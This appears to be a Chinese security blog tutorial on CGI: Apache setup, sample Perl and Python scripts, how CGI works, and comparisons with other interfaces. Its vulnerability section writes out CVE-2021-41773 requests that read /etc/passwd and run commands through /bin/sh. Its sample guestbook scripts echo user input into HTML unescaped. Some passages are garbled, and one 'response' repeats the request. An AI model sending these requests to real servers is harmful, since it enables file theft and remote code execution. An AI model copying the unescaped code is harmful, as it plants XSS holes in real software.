CGI技术
来喽,来喽,周分享它来喽!
这期表哥们给大家带来的是CGI技术的讲解
废话不多说
让我们拿起小本本开始吧
什么是CGI
CGI是公共网关接口(Common Gateway Interface)英文缩写。CGI是一种在网络服务器上运行程序的标准协议,通常用于处理用户请求。CGI运行服务器调用外部程序,并将其输出返回给客户端。CGI的一个典型应用场景是用户在网页上提交一个表单,表单的数据被发送到服务器上的一个CGI脚本,CGI脚本根据数据生成相应的HTML页面并返回给用户。
配置CGI环境
1. 安装apache2
sudo apt install acache2
-
• 安装完成后查看状态
sudo systemctl status apache2
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
Active: **active (running)** since Fri 2023-05-05 20:40:05 PDT; 5min ago
Docs: https://httpd.apache.org/docs/2.4/
Process: 3434 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 3438 (apache2)
Tasks: 56 (limit: 4572)
Memory: 5.7M
CGroup: /system.slice/apache2.service
├─3438 /usr/sbin/apache2 -k start
├─3439 /usr/sbin/apache2 -k start
├─3440 /usr/sbin/apache2 -k start
└─3441 /usr/sbin/apache2 -k start
2. 建目录
sudo mkdir /var/www/cgi-bin/
3. 修改配置
sudo vim /etc/apache2/conf-enabled/serve-cgi-bin.conf
IfModule mod_alias.c>
<IfModule mod_cgi.c>
Define ENABLE_USR_LIB_CGI_BIN
</IfModule>
<IfModule mod_cgid.c>
Define ENABLE_USR_LIB_CGI_BIN
</IfModule>
<IfDefine ENABLE_USR_LIB_CGI_BIN>
ScriptAlias /cgi-bin/ **/var/www/cgi-bin/**
<Directory "**/var/www/cgi-bin**">
AllowOverride All
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
AddHandler cgi-script .cgi
</Directory>
</IfDefine>
</IfModule>
sudo vim /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot **/var/www/cgi-bin**
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
4. 创建软链接
ln -s /etc/apache2/mods-available/cgi.load cgi.load
5. 重启apache2
sudo /etc/init.d/apache2 restart
6. 访问测试网址
-
• 在
/var/www/cgi-bin/
目录下新建一个file.cgi
use strict;
use warnings;
use CGI;
# Create a new CGI object
my $cgi = CGI->new;
# Get the remote address and user agent from the environment variables
my $ip = $ENV{REMOTE_ADDR};
my $browser = $ENV{HTTP_USER_AGENT};
# Print the HTTP header
print $cgi->header('text/html');
# Print the HTML content
print <<EOF;
<html>
<head>
<title>Test CGI Script</title>
</head>
<body>
<h1>Test CGI Script</h1>
<p>Your IP address is: $ip</p>
<p>Your browser is: $browser</p>
</body>
</html>
EOF
-
• 再新建一个
board.cgi
#!/usr/bin/env python3ll
# -*- coding: utf-8 -*-
import cgi
import cgitb
import os
import datetime
cgitb.enable()
# 获取留言文件的路径
message_file = os.path.join(os.path.dirname(__file__), "messages.txt")
# 读取留言文件中的内容
messages = []
if os.path.exists(message_file):
with open(message_file, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line:
messages.append(line)
# 获取表单中的数据
form = cgi.FieldStorage()
name = form.getvalue("name", "")
content = form.getvalue("content", "")
# 如果表单中有数据,就添加到留言列表中,并写入文件
if name and content:
message = f"{name}: {content} ({datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')})"
messages.append(message)
with open(message_file, "a", encoding="utf-8") as f:
f.write(message + "n")
# 输出HTML页面
print("Content-Type: text/html; charset=utf-8")
print()
print("<!DOCTYPE html>")
print("<html>")
print("<head>")
print("<meta charset='utf-8'>")
print("<title>留言板</title>")
print("</head>")
print("<body>")
print("<h1>留言板</h1>")
print("<form method='post'>")
print("<p>姓名:<input type='text' name='name'></p>")
print("<p>内容:<textarea name='content' rows='5' cols='40'></textarea></p>")
print("<p><input type='submit' value='提交'></p>")
print("</form>")
print("<hr>")
print("<ul>")
for message in messages:
print(f"<li>{message}</li>")
print("</ul>")
print("</body>")
print("</html>")
-
-
• 访问http://192.168.136.130/cgi-bin/file.cgi
-
• 访问http://192.168.136.130/cgi-bin/board.cgi
CGI的运行原理
-
• 当用户在浏览器中输入一个URL或点击一个链接时,Web服务器会接收到一个HTTP请求。
-
• 如果请求的URL包含了CGI程序的路径,Web服务器会启动该CGI程序,并将请求的信息作为参数传递给它。
-
• CGI程序会根据参数处理请求,并生成一个HTML文档或其他类型的输出,然后将其发送回Web服务器。
-
• Web服务器会将CGI程序的输出作为HTTP响应返回给浏览器,浏览器会显示或处理该输出。
CGI的漏洞
CVE漏洞
CVE-2021-41773 & CVE-2021-42013 涉及到路径遍历以及远程代码执行
CVE-2021-41773
引入路径遍历漏洞的原因是为路径规范化添加了新的代码更改,即 URL 路径从路径名中删除不需要或危险的部分,但不足以检测对路径遍历字符“dot-dot-slash (../)"
为了防止路径遍历攻击,负责从请求的 URI 解析 URL 编码值的规范化函数一次解析一个 Unicode 值。因此,当URL将第二个点编码为,逻辑无法识别为点,因此不对其进行解码,这会将字符转换为并绕过检查。%2e%2e../.%2e/
%2e = .
.%2e = ..
除了路径遍历检查绕过之外,对于易受攻击的 Apache HTTP 服务器,HTTP 服务器配置应包含整个服务器文件系统的目录指令,或者配置文件中应完全缺少目录指令。
<Directory />
Require all granted
</DIrectory>
Request:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 08:13:02 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
虽然 CVE-2021-41773 最初被记录为路径遍历和文件泄露漏洞,但其他研究得出的结论是,在 Apache HTTP 服务器上启用mod_cgi模块时,可以进一步利用该漏洞进行远程代码执行,这允许攻击者利用路径遍历漏洞并使用 HTTP POST 请求调用系统上的任何二进制文件。
<IfModule !mpm_prefork_module>
LoadModule cgid_module modules/mod_cgid.so
</IfModule>
虽然 CVE-2021-41773 最初被记录为路径遍历和文件泄露漏洞,但其他研究得出的结论是,在 Apache HTTP 服务器上启用mod_cgi模块时,可以进一步利用该漏洞进行远程代码执行,这允许攻击者利用路径遍历漏洞并使用 HTTP POST 请求调用系统上的任何二进制文件。
Request:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close
echo;id
Response:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close
echo;id
CVE-2021-42013
CGI与其他协议的对比
名称 | 定义 | 优点 | 缺点 |
CGI | Common Gateway Interface,通用网关接口,是一种标准协议,用于连接Web服务器和Web应用程序。每个请求都会创建一个新的进程来处理。 | 简单,灵活,支持多种语言 | 性能低,资源消耗高,不支持持久连接 |
FastCGI | Fast Common Gateway Interface,是一种改进的CGI协议,使用持久的进程来处理多个请求。可以配置多个进程,提高稳定性和可扩展性。 | 性能高,资源消耗低,支持持久连接 | 协议复杂,实现困难 |
SCGI | Simple Common Gateway Interface,是一种类似于FastCGI的协议,但协议更简单易于实现。也使用持久的进程来处理多个请求。 | 协议简单,实现容易 | 不支持双向多路复用,性能不如FastCGI |
WSGI | Web Server Gateway Interface,是一种Python特有的接口标准,用于连接Web服务器和Web应用程序。可以使用不同的协议(如CGI,FastCGI,SCGI等)来实现WSGI。 | Python语言特性,灵活,可移植 | 只适用于Python |
详细内容
CGI的运行原理
当用户在网页上发出一个请求,比如点击一个链接或提交一个表单,请求的URL会指向一个服务器上的CGI脚本。服务器会根据URL中的参数和请求方法,将一些信息传递给CGI脚本,比如查询字符串、内容长度、请求方法等,这些信息通常通过环境变量或命令行参数传递。服务器还会将请求的主体部分,比如表单数据,通过标准输入流传递给CGI脚本。CGI脚本会根据接收到的信息进行相应的处理,比如查询数据库、生成动态内容等,并将处理结果通过标准输出流返回给服务器。返回的结果必须包含一个合法的HTTP头部,指明内容类型、状态码等信息,然后是一个空行,再然后是实际的内容,比如HTML页面、图片数据等。服务器会将CGI脚本的输出作为响应发送给用户。
运用CGI的例子
一个简单的计数器脚本,它可以显示网页被访问的次数。这个脚本可以用C语言或Perl语言编写,并放在服务器的cgi-bin目录下。当用户请求这个脚本的URL时,服务器会执行这个脚本,并将其输出返回给用户。输出是一个包含计数器值的HTML页面,每次访问都会增加一。这个脚本需要一个文本文件来存储计数器值,并在每次执行时读取和更新这个文件。
CGI可能存在的安全漏洞
产生原因:由于用户输入没有被正确地解析或过滤,导致攻击者可以通过网页URL传递一些参数或命令,从而执行一些恶意的操作。列举如下:
-
• 利用CGI脚本的权限,访问或修改服务器上的敏感文件或数据
-
• 利用CGI脚本的内存问题,注入或执行一些恶意的代码
-
• 利用CGI脚本的输入验证问题,传递一些非法或危险的数据,造成服务器的溃或拒绝服务。为了避免这些漏洞,你在使用CGI的时候应该注意以下几点:
-
• 限制CGI脚本的权限,不要让它们以root用户或其他高权限用户运行。
-
• 管理好CGI脚本的内存分配和释放,避免内存泄露或溢出。
-
• 对用户输入进行严格的验证和过滤,防止SQL注入、跨站脚本、命令执行等攻击。
CGI的优缺点
CGI的优点有:
-
• CGI是一个非常明确和支持良好的标准,可以用任何语言和平台编写CGI程序,只要符合规范。
-
• CGI可以实现网页和外部程序或数据库的交互,提供动态内容和功能。
-
• CGI有很多现成的代码和框架,可以方便地实现一些常见的任务,比如计数器、表单处理、访问控制等。
CGI的缺点有:
-
• CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下。
-
• CGI不能很好地在内存中缓存数据,每次都需要打开或关闭数据库连接,速度慢。
-
• CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击。
CGI的横向对比
实现服务端和客户端交互的其他方式
-
• Servlet:一种基于Java的技术,可以在服务器上运行Java程序,比CGI更快、更稳定、更安全。
-
• ASP:一种基于Microsoft的技术,可以在服务器上运行VBScript或JScript程序,提供了丰富的组件和功能。
-
• PHP:一种基于开源的技术,可以在服务器上运行PHP程序,支持多种数据库和平台,易于学习和使用。
CGI和其他技术的区别
-
• CGI是一种协议,而不是一种语言,它可以用任何语言和平台实现,只要符合规范。其他技术,比如Servlet、ASP、PHP等,都是基于特定的语言或平台的技术,有自己的语法和特性。
-
• CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下。其他技术,比如Servlet、ASP、PHP等,都是在服务器上运行一个持久的程序,可以在内存中缓存数据和连接,速度快。
-
• CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击。其他技术,比如Servlet、ASP、PHP等,都提供了一些内置的函数或组件,可以方便地处理用户输入和输出,提高安全性。
-
• CGI有很多现成的代码和框架,可以方便地实现一些常见的任务,比如计数器、表单处理、访问控制等。其他技术,比如Servlet、ASP、PHP等,也有很多成熟的库和框架,可以提供更多的功能和扩展性。
CGI在现在的网页开发中还有一定的用处,但已经不是主流的技术了。
CGI的用处主要有以下几点:
-
• CGI可以实现一些简单的动态内容和功能,比如计数器、表单处理、访问控制等,不需要安装或配置复杂的服务器或框架。
-
• CGI可以用任何语言和平台实现,只要符合规范,可以充分利用现有的代码和资源,也可以学习一些新的语言或技术。
-
• CGI可以作为一种学习和实验的工具,了解网页和服务器之间的交互原理和过程,以及一些安全和性能的问题和解决方法。
CGI已经不是主流的技术的原因主要有以下几点:
-
• CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下,不能满足高并发和高性能的需求。
-
• CGI不能很好地在内存中缓存数据和连接,每次都需要打开或关闭数据库连接,速度慢,也容易出现错误或冲突。
-
• CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击,这些攻击已经非常普遍和危险。
-
• CGI有很多现成的代码和框架,但也有很多过时或不兼容的代码和框架,需要花费时间和精力去选择和维护。
CGI的框架
-
• CGI::Framework:一个用Perl语言编写的轻量级的CGI框架,提供了一些基本的功能,如参数验证、会话管理、错误处理等。
-
• Web.py:一个用Python语言编写的简单而强大的CGI框架,提供了一些高级的功能,如模板系统、数据库访问、缓存机制等。
-
• Sinatra:一个用Ruby语言编写的极简主义的CGI框架,提供了一种优雅而灵活的方式来定义路由和处理请求。
CGI的实例
Web.py的例子,这是一个用Python语言编写的CGI框架。假设你想用这个框架来实现一个简单的留言板功能,你需要做以下几个步骤:
-
• 在你的服务器上创建一个cgi-bin目录,这是存放CGI脚本的地方。
-
• 在cgi-bin目录下创建一个guestbook.py文件,这是你的主要的CGI脚本,它的内容如下:
#!/usr/bin/env python
import web # import the web.py module
# define the URLs and their corresponding classes
urls = (
'/', 'show_messages', # show the messages on the guestbook
'/add', 'add_message', # add a new message to the guestbook
)
# define the template for rendering the HTML pages
render = web.template.render('templates/')
# define the class for showing the messages
class show_messages:
def GET(self): # define the GET method
messages = self.get_messages() # get the messages from the data file
return render.show(messages) # render the show.html template with the messages
def get_messages(self): # define a helper method to get the messages
messages = [] # create an empty list to store the messages
with open('data/guestbook.txt') as f: # open the data file
for line in f: # iterate over each line in the file
name, message, timestamp = line.strip().split('|') # split the line by '|'
messages.append((name, message, timestamp)) # append a tuple of name, message and timestamp to the list
return messages # return the list of messages
# define the class for adding a new message
class add_message:
def POST(self): # define the POST method
i = web.input() # get the user input from the web form
name = i.get('name') # get the name from the user input
message = i.get('message') # get the message from the user input
self.validate(name, message) # validate the name and message
self.add_message(name, message) # add the name and message to the data file
raise web.seeother('/') # redirect to the home page
def validate(self, name, message): # define a helper method to validate the name and message
if not name or not message: # if either name or message is empty
raise web.badrequest("Please enter your name and message") # raise a bad request error
def add_message(self, name, message): # define a helper method to add the name and message to the data file
import time # import the time module
timestamp = int(time.time()) # get the current timestamp as an integer
with open('data/guestbook.txt', 'a') as f: # open the data file in append mode
f.write(f'{name}|{message}|{timestamp}n') # write a line with name, message and timestamp separated by '|'
# create a new web application with the URLs and classes
app = web.application(urls, globals())
# run the application if this file is executed as a script
if __name__ == '__main__':
app.run()
-
• 在cgi-bin目录下创建一个templates文件夹,这是用来存放HTML模板的文件夹。
-
• 在templates文件夹下创建一个base.html文件,这是用来定义HTML页面的基本结构的文件,它的内容如下:
$def with (title)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>$title</title>
</head>
<body>
$:content()
</body>
</html>
-
• 在templates文件夹下创建一个add.html文件,这是用来显示添加留言成功的文件,它的内容如下:
$def with ()
$var title: Guestbook
$extends('base.html')
$def content():
<h1>Guestbook</h1>
<p>Your message has been added.</p>
<p><a href="/">Go back to the guestbook</a></p>
-
• 在cgi-bin目录下创建一个data文件夹,这是用来存放留言数据的文件夹。
-
• 在data文件夹下创建一个guestbook.txt文件,这是用来存放留言数据的文本文件,它的内容可以为空或者有一些示例数据,每一行代表一条留言,格式为:姓名|留言内容|时间戳。例如:
Alice|Hello world!|1639566000
Bob|Nice to meet you!|1639566600
Charlie|Happy holidays!|1639567200
-
• 为了让你的CGI脚本可以被服务器执行,你需要给它赋予可执行权限,比如在Linux系统下,你可以使用chmod命令:
chmod +x guestbook.py
-
• 现在你可以在浏览器中访问你的CGI脚本的URL,比如http://localhost/cgi-bin/guestbook.py,你就可以看到你的留言板页面了。你也可以添加新的留言,或者刷新页面看到其他人的留言。
各种语言对CGI的实现
主要是遵循CGI的协议和标准,通过和服务器交换一些特定的环境变量和数据,来实现动态内容的生成和返回。比如说:
-
• Java:可以使用Java Servlet技术来实现CGI,Servlet是一种运行在服务器上的Java程序,可以接收和处理客户端的请求,生成动态的HTML页面或其他类型的文档。Servlet可以使用Java的标准库或第三方的库来访问数据库或其他服务器。Servlet也可以使用JSP(Java Server Pages)技术来简化HTML页面的生成。
-
• Python:可以使用Python的标准库中的cgi模块来实现CGI,cgi模块提供了一些类和函数来处理客户端的请求,获取表单数据,输出HTTP头部和内容等。Python也有很多第三方的框架或库来简化CGI开发,比如Web.py、Flask、Django等。
-
• PHP:可以使用PHP的内置功能来实现CGI,PHP是一种专门用于网页开发的语言,它可以嵌入到HTML页面中,或者作为一个独立的脚本运行。PHP可以直接获取客户端的请求数据,输出HTTP头部和内容,以及访问数据库或其他服务器。PHP也有很多第三方的框架或库来简化CGI开发,比如Laravel、Symfony、CodeIgniter等。
CGI的漏洞
有一些关于CGI的CVE漏洞,比如:
-
• CVE-2021-41773:一个影响Apache HTTP Server 2.4.49版本的漏洞,利用路径规范化的变化,可以实现路径遍历攻击,将URL映射到Alias-like指令配置之外的文件。如果这些文件没有受到默认配置的保护,这些请求可以成功。如果这些路径也启用了CGI脚本,这可能导致远程代码执行。这个漏洞已经被在野利用。Apache HTTP Server 2.4.50版本的修复也不完整,参见CVE-2021-420131。
-
• CVE-2021-2021:一个影响Oracle MySQL Server 8.0.22及之前版本的漏洞,位于Server: Optimizer组件。高权限的攻击者可以通过多种协议的网络访问来攻击MySQL Server。成功的攻击可以导致MySQL Server挂起或频繁崩溃2。
-
• CVE-2021-22204:一个影响ExifTool的漏洞,位于DjVu模块。当解析一个恶意的图像时,可以实现任意代码执行。这个漏洞影响了ExifTool 7.44及之前版本3。
-
• CVE-2022-31126:一个影响Roxy-wi的漏洞,Roxy-wi是一个用于管理Haproxy, Nginx, Apache和Keepalived服务器的开源Web界面。攻击者可以通过向/app/options.py文件发送一个特制的HTTP请求来实现代码执行。这个漏洞影响了Roxy-wi 6.1.1.0之前的版本4。如果你想了解更多关于CGI的CVE漏洞的信息,你可以访问以下英文网站:
-
• NVD - CVE-2021-41773 - NIST**1**:一个介绍CVE-2021-41773漏洞的网页,提供了漏洞描述、严重程度、修复信息、参考链接等信息。
-
• CVE - CVE-2021-2021 - Common Vulnerabilities and Exposures2:一个介绍CVE-2021-2021漏洞的网页,提供了漏洞描述、参考链接等信息。
-
• CVE - CVE-2021-22204 - Common Vulnerabilities and Exposures**3**:一个介绍CVE-2021-22204漏洞的网页,提供了漏洞描述、参考链接等信息。
-
• CVE - Search Results - Common Vulnerabilities and Exposures**4**:一个搜索CGI相关CVE漏洞的网页,提供了多个CVE漏洞的标题、摘要和链接。
长按下方的二维码关注我们
下期表哥们的干货
已经在等你了
原文始发于微信公众号(SKSEC):【表哥有话说 第88期】CGI技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论